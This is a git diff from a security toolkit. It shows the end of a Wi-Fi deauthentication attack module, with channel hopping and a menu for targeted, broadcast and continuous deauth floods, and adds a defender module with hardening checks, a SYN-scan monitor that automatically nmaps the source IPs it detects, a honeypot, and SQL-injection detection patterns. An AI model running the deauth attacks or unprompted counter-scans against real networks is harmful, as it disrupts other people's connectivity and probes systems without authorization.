+ idx = 0
+ while self._hop_running:
+ ch = channels[idx % len(channels)]
+ self.set_channel(interface, ch)
+ idx += 1
+ time.sleep(dwell)
+
+ self._hop_thread = threading.Thread(
+ target=_hop_worker, daemon=True, name='deauth-channel-hop'
+ )
+ self._hop_thread.start()
+
+ return {
+ 'ok': True,
+ 'message': f'Channel hopping started on {interface}',
+ 'channels': channels,
+ 'dwell': dwell
+ }
+
+ def stop_channel_hop(self) -> Dict:
+ """Stop channel hopping."""
+ if not self._hop_running:
+ return {'ok': False, 'error': 'Channel hopping not active'}
+
+ self._hop_running = False
+ if self._hop_thread:
+ self._hop_thread.join(timeout=5)
+ self._hop_thread = None
+
+ return {'ok': True, 'message': 'Channel hopping stopped'}
+
+ # ── History ──────────────────────────────────────────────────────────
+
+ def get_attack_history(self) -> List[Dict]:
+ """Return past attacks with timestamps and stats."""
+ return list(self._history)
+
+ def clear_history(self) -> Dict:
+ """Clear attack history."""
+ self._history = []
+ self._save_history()
+ return {'ok': True, 'message': 'History cleared'}
+
+ def _add_history(self, record: Dict):
+ """Append an attack record and persist."""
+ self._history.append(record)
+ # Keep last 500 entries
+ if len(self._history) > 500:
+ self._history = self._history[-500:]
+ self._save_history()
+
+ def _load_history(self):
+ """Load history from disk."""
+ try:
+ if os.path.isfile(self.history_path):
+ with open(self.history_path, 'r') as f:
+ self._history = json.load(f)
+ except Exception:
+ self._history = []
+
+ def _save_history(self):
+ """Persist history to disk."""
+ try:
+ with open(self.history_path, 'w') as f:
+ json.dump(self._history, f, indent=2)
+ except Exception:
+ pass
+
+ # ── CLI Runner ───────────────────────────────────────────────────────
+
+ def print_status(self, message: str, status: str = "info"):
+ colors = {
+ "info": Colors.CYAN, "success": Colors.GREEN,
+ "warning": Colors.YELLOW, "error": Colors.RED
+ }
+ symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
+ print(f"{colors.get(status, Colors.WHITE)}"
+ f"[{symbols.get(status, '*')}] {message}{Colors.RESET}")
+
+
+def run():
+ """CLI entry point for the deauth module."""
+ clear_screen()
+ display_banner()
+ deauth = get_deauth()
+
+ # Show tool status
+ tools = deauth.get_tools_status()
+ available = [k for k, v in tools.items() if v]
+ missing = [k for k, v in tools.items() if not v]
+ deauth.print_status(f"Available tools: {', '.join(available) if available else 'none'}", "info")
+ if missing:
+ deauth.print_status(f"Missing tools: {', '.join(missing)}", "warning")
+ print()
+
+ selected_iface = None
+ selected_bssid = None
+ selected_client = None
+
+ while True:
+ print(f"\n{Colors.BOLD}{Colors.RED}=== Deauth Attack ==={Colors.RESET}")
+ print(f" Interface: {Colors.CYAN}{selected_iface or 'none'}{Colors.RESET}")
+ print(f" Target AP: {Colors.CYAN}{selected_bssid or 'none'}{Colors.RESET}")
+ print(f" Client: {Colors.CYAN}{selected_client or 'broadcast'}{Colors.RESET}")
+ if deauth.is_attacking():
+ status = deauth.get_attack_status()
+ print(f" {Colors.RED}[ATTACKING]{Colors.RESET} "
+ f"{status['frames_sent']} frames / {status['duration']}s")
+ print()
+ print(f" {Colors.GREEN}1{Colors.RESET} - Select Interface")
+ print(f" {Colors.GREEN}2{Colors.RESET} - Scan Networks")
+ print(f" {Colors.GREEN}3{Colors.RESET} - Scan Clients")
+ print(f" {Colors.GREEN}4{Colors.RESET} - Targeted Deauth")
+ print(f" {Colors.GREEN}5{Colors.RESET} - Broadcast Deauth")
+ print(f" {Colors.GREEN}6{Colors.RESET} - Continuous Mode")
+ print(f" {Colors.GREEN}7{Colors.RESET} - Stop Attack")
+ print(f" {Colors.GREEN}8{Colors.RESET} - Set Channel")
+ print(f" {Colors.GREEN}0{Colors.RESET} - Back")
+ print()
+
+ choice = input(f"{Colors.BOLD}Choice > {Colors.RESET}").strip()
+
+ if choice == '0':
+ if deauth.is_attacking():
+ deauth.stop_continuous()
+ deauth.print_status("Stopped continuous attack", "warning")
+ break
+
+ elif choice == '1':
+ ifaces = deauth.get_interfaces()
+ if not ifaces:
+ deauth.print_status("No wireless interfaces found", "error")
+ continue
+ print(f"\n{'#':<4} {'Interface':<15} {'Mode':<12} {'Channel':<8} {'MAC'}")
+ for i, ifc in enumerate(ifaces):
+ print(f"{i+1:<4} {ifc['name']:<15} {ifc['mode']:<12} "
+ f"{ifc['channel']:<8} {ifc['mac']}")
+ sel = input(f"\nSelect interface (1-{len(ifaces)}): ").strip()
+ try:
+ idx = int(sel) - 1
+ if 0 <= idx < len(ifaces):
+ selected_iface = ifaces[idx]['name']
+ deauth.print_status(f"Selected: {selected_iface}", "success")
+ if ifaces[idx]['mode'] != 'monitor':
+ en = input("Enable monitor mode? (y/n): ").strip().lower()
+ if en == 'y':
+ r = deauth.enable_monitor(selected_iface)
+ if r['ok']:
+ selected_iface = r['interface']
+ deauth.print_status(r['message'], "success")
+ else:
+ deauth.print_status(r['error'], "error")
+ except ValueError:
+ pass
+
+ elif choice == '2':
+ if not selected_iface:
+ deauth.print_status("Select an interface first", "warning")
+ continue
+ dur = input("Scan duration (seconds) [10]: ").strip()
+ dur = int(dur) if dur.isdigit() else 10
+ deauth.print_status(f"Scanning for {dur}s on {selected_iface}...", "info")
+ nets = deauth.scan_networks(selected_iface, dur)
+ if not nets:
+ deauth.print_status("No networks found", "warning")
+ continue
+ print(f"\n{'#':<4} {'BSSID':<20} {'SSID':<25} {'CH':<5} "
+ f"{'Enc':<12} {'Sig':<6} {'Clients'}")
+ for i, n in enumerate(nets):
+ print(f"{i+1:<4} {n['bssid']:<20} {n['ssid']:<25} "
+ f"{n['channel']:<5} {n['encryption']:<12} "
+ f"{n['signal']:<6} {n['clients_count']}")
+ sel = input(f"\nSelect target AP (1-{len(nets)}, Enter to skip): ").strip()
+ try:
+ idx = int(sel) - 1
+ if 0 <= idx < len(nets):
+ selected_bssid = nets[idx]['bssid']
+ deauth.print_status(
+ f"Target: {nets[idx]['ssid']} ({selected_bssid})", "success"
+ )
+ except ValueError:
+ pass
+
+ elif choice == '3':
+ if not selected_iface:
+ deauth.print_status("Select an interface first", "warning")
+ continue
+ dur = input("Scan duration (seconds) [10]: ").strip()
+ dur = int(dur) if dur.isdigit() else 10
+ deauth.print_status(
+ f"Scanning clients{' on ' + selected_bssid if selected_bssid else ''}...",
+ "info"
+ )
+ clients = deauth.scan_clients(selected_iface, selected_bssid, dur)
+ if not clients:
+ deauth.print_status("No clients found", "warning")
+ continue
+ print(f"\n{'#':<4} {'Client MAC':<20} {'AP BSSID':<20} "
+ f"{'Signal':<8} {'Packets'}")
+ for i, c in enumerate(clients):
+ print(f"{i+1:<4} {c['client_mac']:<20} {c['ap_bssid']:<20} "
+ f"{c['signal']:<8} {c['packets']}")
+ sel = input(f"\nSelect client (1-{len(clients)}, Enter for broadcast): ").strip()
+ try:
+ idx = int(sel) - 1
+ if 0 <= idx < len(clients):
+ selected_client = clients[idx]['client_mac']
+ if not selected_bssid:
+ selected_bssid = clients[idx]['ap_bssid']
+ deauth.print_status(f"Client: {selected_client}", "success")
+ except ValueError:
+ selected_client = None
+
+ elif choice == '4':
+ if not selected_iface or not selected_bssid:
+ deauth.print_status("Select interface and target AP first", "warning")
+ continue
+ client = selected_client or input("Client MAC (Enter for broadcast): ").strip()
+ if not client:
+ client = BROADCAST
+ cnt = input("Frame count [10]: ").strip()
+ cnt = int(cnt) if cnt.isdigit() else 10
+ deauth.print_status(f"Sending {cnt} deauth frames...", "info")
+ r = deauth.deauth_targeted(selected_iface, selected_bssid, client, cnt)
+ if r['ok']:
+ deauth.print_status(
+ f"Sent {r['frames_sent']} frames in {r['duration']}s", "success"
+ )
+ else:
+ deauth.print_status(r['error'], "error")
+
+ elif choice == '5':
+ if not selected_iface or not selected_bssid:
+ deauth.print_status("Select interface and target AP first", "warning")
+ continue
+ cnt = input("Frame count [10]: ").strip()
+ cnt = int(cnt) if cnt.isdigit() else 10
+ deauth.print_status(f"Broadcasting {cnt} deauth frames...", "info")
+ r = deauth.deauth_broadcast(selected_iface, selected_bssid, cnt)
+ if r['ok']:
+ deauth.print_status(
+ f"Sent {r['frames_sent']} frames in {r['duration']}s", "success"
+ )
+ else:
+ deauth.print_status(r['error'], "error")
+
+ elif choice == '6':
+ if not selected_iface or not selected_bssid:
+ deauth.print_status("Select interface and target AP first", "warning")
+ continue
+ client = selected_client or BROADCAST
+ intv = input("Interval between bursts (seconds) [0.5]: ").strip()
+ intv = float(intv) if intv else 0.5
+ bst = input("Burst size [5]: ").strip()
+ bst = int(bst) if bst.isdigit() else 5
+ r = deauth.start_continuous(
+ selected_iface, selected_bssid, client, intv, bst
+ )
+ if r['ok']:
+ deauth.print_status(r['message'], "success")
+ else:
+ deauth.print_status(r['error'], "error")
+
+ elif choice == '7':
+ r = deauth.stop_continuous()
+ if r['ok']:
+ deauth.print_status(
+ f"Stopped. {r['frames_sent']} frames in {r['duration']}s",
+ "success"
+ )
+ else:
+ deauth.print_status(r.get('error', 'No attack running'), "warning")
+
+ elif choice == '8':
+ if not selected_iface:
+ deauth.print_status("Select an interface first", "warning")
+ continue
+ ch = input("Channel (1-196): ").strip()
+ try:
+ ch = int(ch)
+ r = deauth.set_channel(selected_iface, ch)
+ if r['ok']:
+ deauth.print_status(r['message'], "success")
+ else:
+ deauth.print_status(r['error'], "error")
+ except ValueError:
+ deauth.print_status("Invalid channel number", "error")
+
+ else:
+ deauth.print_status("Invalid choice", "warning")
diff --git a/modules/defender.py b/modules/defender.py
new file mode 100644
index 0000000..5969d97
--- /dev/null
+++ b/modules/defender.py
@@ -0,0 +1,1061 @@
+"""
+AUTARCH Defender Module
+System hardening and security posture assessment
+
+Checks system configuration for security best practices.
+"""
+
+import os
+import sys
+import subprocess
+import socket
+import re
+import time
+import json
+import threading
+from pathlib import Path
+from datetime import datetime
+
+# Module metadata
+DESCRIPTION = "System hardening & security checks"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "defense"
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+from core.banner import Colors, clear_screen, display_banner
+
+
+class Defender:
+ """System security checker."""
+
+ def __init__(self):
+ self.results = []
+
+ def print_status(self, message: str, status: str = "info"):
+ colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
+ symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
+ print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
+
+ def check(self, name: str, passed: bool, details: str = ""):
+ """Record a check result."""
+ self.results.append({"name": name, "passed": passed, "details": details})
+ status = "success" if passed else "warning"
+ self.print_status(f"{name}: {'PASS' if passed else 'FAIL'}", status)
+ if details and not passed:
+ print(f" {Colors.DIM}{details}{Colors.RESET}")
+
+ def run_cmd(self, cmd: str) -> tuple:
+ """Run command and return (success, output)."""
+ try:
+ result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)
+ return result.returncode == 0, result.stdout.strip()
+ except:
+ return False, ""
+
+ def check_firewall(self):
+ """Check if firewall is enabled."""
+ # Check iptables
+ success, output = self.run_cmd("iptables -L -n 2>/dev/null | head -20")
+ if success and "Chain" in output:
+ rules = output.count("\n")
+ self.check("Firewall (iptables)", rules > 5, f"Found {rules} rules")
+ return
+
+ # Check ufw
+ success, output = self.run_cmd("ufw status 2>/dev/null")
+ if success and "active" in output.lower():
+ self.check("Firewall (ufw)", True)
+ return
+
+ # Check firewalld
+ success, output = self.run_cmd("firewall-cmd --state 2>/dev/null")
+ if success and "running" in output.lower():
+ self.check("Firewall (firewalld)", True)
+ return
+
+ self.check("Firewall", False, "No active firewall detected")
+
+ def check_ssh_config(self):
+ """Check SSH hardening."""
+ ssh_config = Path("/etc/ssh/sshd_config")
+ if not ssh_config.exists():
+ self.check("SSH Config", True, "SSH not installed")
+ return
+
+ content = ssh_config.read_text()
+
+ # Check root login
+ if "PermitRootLogin no" in content or "PermitRootLogin prohibit-password" in content:
+ self.check("SSH Root Login Disabled", True)
+ else:
+ self.check("SSH Root Login Disabled", False, "Root login may be enabled")
+
+ # Check password auth
+ if "PasswordAuthentication no" in content:
+ self.check("SSH Password Auth Disabled", True)
+ else:
+ self.check("SSH Password Auth Disabled", False, "Consider using key-based auth only")
+
+ def check_open_ports(self):
+ """Check for listening ports."""
+ success, output = self.run_cmd("ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null")
+ if success:
+ lines = [l for l in output.split('\n') if 'LISTEN' in l]
+ high_risk = []
+ for line in lines:
+ if ':23 ' in line: # Telnet
+ high_risk.append("23 (Telnet)")
+ if ':21 ' in line: # FTP
+ high_risk.append("21 (FTP)")
+ if ':3389 ' in line: # RDP
+ high_risk.append("3389 (RDP)")
+
+ if high_risk:
+ self.check("High-Risk Ports", False, f"Open: {', '.join(high_risk)}")
+ else:
+ self.check("High-Risk Ports", True, f"{len(lines)} services listening")
+
+ def check_updates(self):
+ """Check for available updates."""
+ # Debian/Ubuntu
+ success, output = self.run_cmd("apt list --upgradable 2>/dev/null | wc -l")
+ if success:
+ count = int(output) - 1 if output.isdigit() else 0
+ self.check("System Updates", count < 10, f"{count} packages need updating")
+ return
+
+ # RHEL/CentOS
+ success, output = self.run_cmd("yum check-update 2>/dev/null | wc -l")
+ if success:
+ self.check("System Updates", int(output) < 10 if output.isdigit() else True)
+ return
+
+ self.check("System Updates", True, "Could not check updates")
+
+ def check_users(self):
+ """Check user security."""
+ # Users with UID 0
+ success, output = self.run_cmd("awk -F: '$3 == 0 {print $1}' /etc/passwd")
+ if success:
+ uid0_users = [u for u in output.split('\n') if u]
+ self.check("Root UID Users", len(uid0_users) == 1, f"UID 0 users: {', '.join(uid0_users)}")
+
+ # Empty passwords
+ success, output = self.run_cmd("awk -F: '($2 == \"\" || $2 == \"!\") {print $1}' /etc/shadow 2>/dev/null")
+ if success:
+ empty = [u for u in output.split('\n') if u and u not in ['*', '!']]
+ self.check("Empty Passwords", len(empty) == 0, f"Users with empty passwords: {', '.join(empty)}" if empty else "")
+
+ def check_permissions(self):
+ """Check critical file permissions."""
+ checks = [
+ ("/etc/passwd", "644"),
+ ("/etc/shadow", "600"),
+ ("/etc/ssh/sshd_config", "600"),
+ ]
+
+ for filepath, expected in checks:
+ p = Path(filepath)
+ if p.exists():
+ mode = oct(p.stat().st_mode)[-3:]
+ passed = int(mode) <= int(expected)
+ self.check(f"Permissions {filepath}", passed, f"Mode: {mode} (expected: {expected})")
+
+ def check_services(self):
+ """Check for unnecessary services."""
+ dangerous = ["telnet", "rsh", "rlogin", "tftp"]
+ running = []
+
+ for svc in dangerous:
+ success, _ = self.run_cmd(f"systemctl is-active {svc} 2>/dev/null")
+ if success:
+ running.append(svc)
+ success, _ = self.run_cmd(f"pgrep -x {svc} 2>/dev/null")
+ if success:
+ running.append(svc)
+
+ self.check("Dangerous Services", len(running) == 0, f"Running: {', '.join(running)}" if running else "")
+
+ def check_fail2ban(self):
+ """Check if fail2ban is installed and running."""
+ success, output = self.run_cmd("systemctl is-active fail2ban 2>/dev/null")
+ if success and "active" in output:
+ self.check("Fail2Ban", True, "Running")
+ else:
+ success, _ = self.run_cmd("which fail2ban-client 2>/dev/null")
+ if success:
+ self.check("Fail2Ban", False, "Installed but not running")
+ else:
+ self.check("Fail2Ban", False, "Not installed")
+
+ def check_selinux(self):
+ """Check SELinux/AppArmor status."""
+ success, output = self.run_cmd("getenforce 2>/dev/null")
+ if success:
+ enforcing = output.strip().lower() == "enforcing"
+ self.check("SELinux", enforcing, f"Status: {output.strip()}")
+ return
+
+ success, output = self.run_cmd("aa-status 2>/dev/null | head -1")
+ if success and "apparmor" in output.lower():
+ self.check("AppArmor", True, "Active")
+ return
+
+ self.check("MAC (SELinux/AppArmor)", False, "No mandatory access control")
+
+ # ==================== SCAN MONITOR ====================
+
+ def scan_monitor(self):
+ """Setup and launch the scan monitor."""
+ print(f"\n{Colors.BOLD}Scan Monitor Setup{Colors.RESET}")
+ print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n")
+
+ # Check tcpdump
+ from core.paths import find_tool
+ if not find_tool('tcpdump'):
+ self.print_status("tcpdump is not installed", "error")
+ return
+
+ counter_input = input(f"{Colors.WHITE}Enable counter-scan on detected attackers? (y/n) [{Colors.GREEN}y{Colors.WHITE}]: {Colors.RESET}").strip().lower()
+ counter_scan = counter_input != 'n'
+
+ whitelist_input = input(f"{Colors.WHITE}Whitelist IPs (comma-separated, or blank): {Colors.RESET}").strip()
+ whitelist = [ip.strip() for ip in whitelist_input.split(',') if ip.strip()] if whitelist_input else []
+
+ # Ensure results dir exists
+ os.makedirs("results", exist_ok=True)
+
+ self._monitor_with_tcpdump(counter_scan, whitelist)
+
+ def _counter_scan(self, ip: str, log_file: str):
+ """Counter-scan a detected attacker IP."""
+ try:
+ print(f" {Colors.CYAN}[*] Counter-scanning {ip}...{Colors.RESET}")
+ result = subprocess.run(
+ f"nmap --top-ports 100 -T4 -sV {ip}",
+ shell=True, capture_output=True, text=True, timeout=120
+ )
+ output = result.stdout
+
+ # Parse open ports
+ open_ports = []
+ for line in output.split('\n'):
+ if 'open' in line.lower() and ('tcp' in line.lower() or 'udp' in line.lower() or '/' in line):
+ port = line.split('/')[0].strip()
+ open_ports.append(port)
+
+ if open_ports:
+ ports_str = ','.join(open_ports)
+ print(f" {Colors.GREEN}[+] Counter-scan {ip}: {len(open_ports)} open ports ({ports_str}){Colors.RESET}")
+ else:
+ print(f" {Colors.YELLOW}[+] Counter-scan {ip}: no open ports found{Colors.RESET}")
+
+ # Append to log
+ with open(log_file, 'a') as f:
+ f.write(f"\n--- Counter-scan {ip} at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} ---\n")
+ f.write(output)
+ f.write("\n")
+
+ except subprocess.TimeoutExpired:
+ print(f" {Colors.YELLOW}[!] Counter-scan {ip} timed out{Colors.RESET}")
+ except Exception as e:
+ print(f" {Colors.RED}[X] Counter-scan {ip} failed: {e}{Colors.RESET}")
+
+ def _monitor_with_tcpdump(self, counter_scan: bool, whitelist: list):
+ """Core monitoring loop using tcpdump."""
+ log_file = "results/scan_monitor.log"
+
+ # Get local IPs to skip
+ local_ips = {'127.0.0.1'}
+ try:
+ hostname = socket.gethostname()
+ local_ips.add(socket.gethostbyname(hostname))
+ except:
+ pass
+ try:
+ result = subprocess.run(
+ "hostname -I", shell=True, capture_output=True, text=True, timeout=5
+ )
+ if result.returncode == 0:
+ for ip in result.stdout.strip().split():
+ local_ips.add(ip.strip())
+ except:
+ pass
+
+ # Display header
+ print(f"\n{Colors.BOLD} Scan Monitor Active {Colors.RED}[Ctrl+C to stop]{Colors.RESET}")
+ print(f" {Colors.CYAN}{'─' * 50}{Colors.RESET}")
+ counter_str = f"{Colors.GREEN}Enabled{Colors.RESET}" if counter_scan else f"{Colors.RED}Disabled{Colors.RESET}"
+ print(f" Counter-scan: {counter_str} | Log: {log_file}")
+ if whitelist:
+ print(f" Whitelisted: {', '.join(whitelist)}")
+ print(f" Local IPs: {', '.join(sorted(local_ips))}")
+ print(f" Monitoring on all interfaces...\n")
+
+ # SYN-only filter: tcp-syn set AND tcp-ack NOT set
+ # Use sudo if not root (tcpdump needs packet capture privileges)
+ if os.geteuid() == 0:
+ tcpdump_cmd = [
+ "tcpdump", "-i", "any", "-n", "-l", "--immediate-mode",
+ "tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0"
+ ]
+ else:
+ tcpdump_cmd = [
+ "sudo", "tcpdump", "-i", "any", "-n", "-l", "--immediate-mode",
+ "tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0"
+ ]
+
+ # Tracking dict per source IP
+ trackers = {}
+ packet_re = re.compile(r'IP (\d+\.\d+\.\d+\.\d+)\.\d+ > [\d.]+\.(\d+):')
+ total_packets = 0
+ threats_detected = 0
+ ips_logged = set()
+ last_prune = time.time()
+
+ proc = None
+ try:
+ proc = subprocess.Popen(
+ tcpdump_cmd,
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE
+ )
+
+ for raw_line in iter(proc.stdout.readline, b''):
+ line = raw_line.decode('utf-8', errors='ignore').strip()
+ if not line:
+ continue
+
+ m = packet_re.search(line)
+ if not m:
+ continue
+
+ src_ip = m.group(1)
+ dst_port = int(m.group(2))
+ total_packets += 1
+ now = time.time()
+
+ # Skip whitelisted and local
+ if src_ip in whitelist or src_ip in local_ips:
+ continue
+
+ # Update tracker
+ if src_ip not in trackers:
+ trackers[src_ip] = {
+ 'ports': set(),
+ 'port_counts': {},
+ 'first_seen': now,
+ 'last_seen': now,
+ 'alerted_scan': False,
+ 'alerted_brute': set(),
+ }
+
+ t = trackers[src_ip]
+ t['ports'].add(dst_port)
+ t['port_counts'][dst_port] = t['port_counts'].get(dst_port, 0) + 1
+ t['last_seen'] = now
+
+ # Check port scan threshold: 10+ unique ports in 30s
+ if not t['alerted_scan'] and len(t['ports']) >= 10:
+ elapsed = now - t['first_seen']
+ if elapsed <= 30:
+ t['alerted_scan'] = True
+ threats_detected += 1
+ ips_logged.add(src_ip)
+ ts = datetime.now().strftime('%H:%M:%S')
+ msg = f"PORT SCAN detected from {src_ip} ({len(t['ports'])} ports in {int(elapsed)}s)"
+ print(f" {ts} {Colors.RED}[!] {msg}{Colors.RESET}")
+
+ with open(log_file, 'a') as f:
+ f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n")
+
+ if counter_scan:
+ thread = threading.Thread(
+ target=self._counter_scan, args=(src_ip, log_file), daemon=True
+ )
+ thread.start()
+
+ # Check brute force threshold: 15+ connections to single port in 60s
+ for port, count in t['port_counts'].items():
+ if port not in t['alerted_brute'] and count >= 15:
+ elapsed = now - t['first_seen']
+ if elapsed <= 60:
+ t['alerted_brute'].add(port)
+ threats_detected += 1
+ ips_logged.add(src_ip)
+ ts = datetime.now().strftime('%H:%M:%S')
+ msg = f"BRUTE FORCE detected from {src_ip} ({count} connections to port {port} in {int(elapsed)}s)"
+ print(f" {ts} {Colors.YELLOW}[!] {msg}{Colors.RESET}")
+
+ with open(log_file, 'a') as f:
+ f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n")
+
+ if counter_scan:
+ thread = threading.Thread(
+ target=self._counter_scan, args=(src_ip, log_file), daemon=True
+ )
+ thread.start()
+
+ # Prune stale entries every 5 seconds
+ if now - last_prune >= 5:
+ stale = [ip for ip, tr in trackers.items() if now - tr['last_seen'] > 120]
+ for ip in stale:
+ del trackers[ip]
+ last_prune = now
+
+ except KeyboardInterrupt:
+ pass
+ finally:
+ if proc:
+ proc.kill()
+ proc.wait()
+
+ # Summary
+ print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}")
+ print(f"{Colors.BOLD}Scan Monitor Summary{Colors.RESET}")
+ print(f" Total SYN packets: {total_packets}")
+ print(f" Threats detected: {threats_detected}")
+ print(f" Unique attacker IPs: {len(ips_logged)}")
+ if ips_logged:
+ print(f" IPs logged: {', '.join(sorted(ips_logged))}")
+ print(f" Log file: {log_file}")
+ print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}")
+
+ # ==================== HONEYPOT ====================
+
+ HONEYPOT_BANNERS = {
+ 22: "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5\r\n",
+ 21: "220 FTP server ready.\r\n",
+ 80: "HTTP/1.1 200 OK\r\nServer: Apache/2.4.41\r\n\r\nIt works!",
+ 23: "\xff\xfb\x01\xff\xfb\x03",
+ 3389: "",
+ 25: "220 mail.example.com ESMTP\r\n",
+ 3306: "5.7.38-0ubuntu0.20.04.1\x00",
+ }
+
+ def honeypot(self):
+ """Honeypot setup submenu."""
+ print(f"\n{Colors.BOLD}Honeypot Setup{Colors.RESET}")
+ print(f"{Colors.DIM}Deploy fake service listeners to trap scanners{Colors.RESET}")
+ print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n")
+
+ port_input = input(f"{Colors.WHITE}Ports to listen on [{Colors.GREEN}22,21,80,23,3389,25,3306{Colors.WHITE}]: {Colors.RESET}").strip()
+ if not port_input:
+ port_input = "22,21,80,23,3389,25,3306"
+
+ try:
+ ports = [int(p.strip()) for p in port_input.split(',')]
+ except ValueError:
+ self.print_status("Invalid port list", "error")
+ return
+
+ log_input = input(f"{Colors.WHITE}Enable logging? (y/n) [{Colors.GREEN}y{Colors.WHITE}]: {Colors.RESET}").strip().lower()
+ enable_log = log_input != 'n'
+
+ os.makedirs("results", exist_ok=True)
+ log_file = "results/honeypot.log" if enable_log else None
+
+ port_config = {}
+ for p in ports:
+ port_config[p] = self.HONEYPOT_BANNERS.get(p, "")
+
+ self._run_honeypot(port_config, log_file)
+
+ def _run_honeypot(self, ports: dict, log_file: str):
+ """Start honeypot listeners on configured ports."""
+ connections = []
+ sockets_list = []
+ threads = []
+
+ print(f"\n{Colors.BOLD} Honeypot Active {Colors.RED}[Ctrl+C to stop]{Colors.RESET}")
+ print(f" {Colors.CYAN}{'─' * 50}{Colors.RESET}")
+ print(f" Listening on ports: {', '.join(str(p) for p in ports.keys())}")
+ if log_file:
+ print(f" Log file: {log_file}")
+ print()
+
+ for port, banner in ports.items():
+ t = threading.Thread(
+ target=self._honeypot_listener,
+ args=(port, banner, log_file, connections, sockets_list),
+ daemon=True
+ )
+ threads.append(t)
+ t.start()
+
+ try:
+ while True:
+ time.sleep(1)
+ except KeyboardInterrupt:
+ pass
+
+ # Close all sockets
+ for s in sockets_list:
+ try:
+ s.close()
+ except:
+ pass
+
+ # Summary
+ unique_ips = set(c['ip'] for c in connections)
+ print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}")
+ print(f"{Colors.BOLD}Honeypot Summary{Colors.RESET}")
+ print(f" Total connections: {len(connections)}")
+ print(f" Unique IPs: {len(unique_ips)}")
+ if unique_ips:
+ print(f" IPs seen: {', '.join(sorted(unique_ips))}")
+ print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}")
+
+ def _honeypot_listener(self, port: int, banner: str, log_file: str, connections: list, sockets_list: list):
+ """Listen on a single port for honeypot connections."""
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ s.bind(('0.0.0.0', port))
+ s.listen(5)
+ sockets_list.append(s)
+ except OSError as e:
+ self.print_status(f"Cannot bind port {port}: {e}", "error")
+ return
+
+ while True:
+ try:
+ conn, addr = s.accept()
+ ip = addr[0]
+ ts = datetime.now().strftime('%H:%M:%S')
+
+ try:
+ data = conn.recv(1024)
+ data_len = len(data)
+ except:
+ data_len = 0
+
+ connections.append({'ip': ip, 'port': port, 'time': ts})
+
+ print(f" {ts} {Colors.RED}[TRAP]{Colors.RESET} Connection from {Colors.YELLOW}{ip}{Colors.RESET} on port {Colors.CYAN}{port}{Colors.RESET}")
+
+ if log_file:
+ try:
+ with open(log_file, 'a') as f:
+ f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] HONEYPOT src={ip} port={port} data_len={data_len}\n")
+ except:
+ pass
+
+ if banner:
+ try:
+ conn.send(banner.encode() if isinstance(banner, str) else banner)
+ except:
+ pass
+
+ conn.close()
+ except OSError:
+ break
+
+ # ==================== LOG ANALYZER ====================
+
+ def log_analyzer(self):
+ """Log analyzer submenu."""
+ print(f"\n{Colors.BOLD}Log Analyzer{Colors.RESET}")
+ print(f"{Colors.DIM}Parse system logs for security threats{Colors.RESET}")
+ print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n")
+
+ print(f" {Colors.BLUE}[1]{Colors.RESET} Auth Log Analysis")
+ print(f" {Colors.BLUE}[2]{Colors.RESET} Web Log Analysis")
+ print(f" {Colors.BLUE}[3]{Colors.RESET} All Logs")
+ print(f" {Colors.DIM}[0]{Colors.RESET} Back")
+ print()
+
+ choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip()
+
+ auth_results = []
+ web_results = []
+
+ if choice == "1":
+ auth_results = self._analyze_auth_log()
+ self._display_log_summary(auth_results, [])
+ elif choice == "2":
+ web_results = self._analyze_web_logs()
+ self._display_log_summary([], web_results)
+ elif choice == "3":
+ auth_results = self._analyze_auth_log()
+ web_results = self._analyze_web_logs()
+ self._display_log_summary(auth_results, web_results)
+
+ def _analyze_auth_log(self) -> list:
+ """Analyze auth.log for failed login attempts."""
+ self.print_status("Analyzing authentication logs...", "info")
+
+ failed_re = re.compile(r'Failed password for (?:invalid user )?(\S+) from (\d+\.\d+\.\d+\.\d+)')
+ ip_data = {}
+
+ for log_path in ['/var/log/auth.log', '/var/log/auth.log.1']:
+ if not os.path.exists(log_path):
+ continue
+ try:
+ with open(log_path, 'r', errors='ignore') as f:
+ for line in f:
+ m = failed_re.search(line)
+ if m:
+ username = m.group(1)
+ ip = m.group(2)
+ if ip not in ip_data:
+ ip_data[ip] = {'count': 0, 'usernames': set(), 'timestamps': []}
+ ip_data[ip]['count'] += 1
+ ip_data[ip]['usernames'].add(username)
+ except PermissionError:
+ self.print_status(f"Permission denied: {log_path} (try with sudo)", "warning")
+ except Exception as e:
+ self.print_status(f"Error reading {log_path}: {e}", "error")
+
+ results = []
+ for ip, data in ip_data.items():
+ results.append({
+ 'ip': ip,
+ 'count': data['count'],
+ 'usernames': list(data['usernames']),
+ })
+
+ results.sort(key=lambda x: x['count'], reverse=True)
+ return results
+
+ def _analyze_web_logs(self) -> list:
+ """Analyze web server logs for suspicious activity."""
+ self.print_status("Analyzing web server logs...", "info")
+
+ findings = []
+ web_logs = ['/var/log/apache2/access.log', '/var/log/nginx/access.log']
+
+ sqli_patterns = re.compile(r"(union\s+select|or\s+1\s*=\s*1|'\s*or\s*'|drop\s+table|--\s*$)", re.IGNORECASE)
